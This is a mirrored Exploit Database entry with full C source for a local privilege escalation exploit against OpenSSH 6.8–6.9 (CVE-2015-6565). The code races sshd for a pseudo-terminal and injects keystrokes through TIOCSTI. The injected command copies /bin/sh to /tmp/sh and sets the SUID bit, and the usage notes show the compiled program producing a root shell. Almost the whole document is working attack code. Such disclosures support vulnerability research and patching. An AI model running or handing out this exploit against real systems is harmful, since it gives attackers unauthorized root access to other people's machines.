OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation

• Exploit Database
• 21 阅读

• 作者： Federico Bento
  日期： 2017-01-26
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41173/

• /* 
   *not_an_sshnuke.c
   *
   *Federico Bento
   *
   *up201407890 () alunos dcc fc up pt
   *https://twitter.com/uid1000
   * 
   *OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
   *
   *Considered mostly to be a "DoS", turns out to be a priv esc vuln.
   *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
   *
   *Shoutz to Jann Horn for the detailed analysis
   *And also to all my elite colleagues, specially xSTF :)
   *
   *
   *$ gcc not_an_sshnuke.c -o not_an_sshnuke
   *$ ./not_an_sshnuke /dev/pts/3
   *[*] Waiting for slave device /dev/pts/3
   *[+] Got PTY slave /dev/pts/3
   *[+] Making PTY slave the controlling terminal
   *[+] SUID shell at /tmp/sh
   *$ /tmp/sh --norc --noprofile -p
   *# id
   *euid=0(root) groups=0(root)
   *
   */
  
  #include <sys/types.h>
  #include <sys/stat.h>
  #include <fcntl.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <sys/ioctl.h>
   
  int main(int argc, char *argv[])
  {
   char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
   int pid, pts = -1;
  
   if(argc != 2) {
  fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
  	fprintf(stderr, "Where X is next slave device to be created\n");
  	return 1;
   }
  	
   if(!access(argv[1], F_OK)) {
  fprintf(stderr, "[-] %s device already exists\n", argv[1]);
  return 1;
   }
  
   pid = fork();
  
   if(pid < 0) {
  	fprintf(stderr, "[-] fork failed\n");
  	return 1;
   }
  	
   if(pid == 0) {
  printf("[*] Waiting for slave device %s\n", argv[1]);
  		
  	/* win the race by opening the PTY slave before sshd's child */
  	while(pts == -1)
  	 pts = open(argv[1], O_WRONLY); 
  
  	 printf("[+] Got PTY slave %s\n", argv[1]);
   printf("[+] Making PTY slave the controlling terminal\n");
  		
  	 dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
  	 setsid();
   ioctl(0, TIOCSCTTY, 1);
  
  	 while(*cmd)
  	ioctl(0, TIOCSTI, cmd++);
   }
  
   else {
  wait(NULL);
  	printf("[+] SUID shell at /tmp/sh\n");
  	return 0;
   }
  }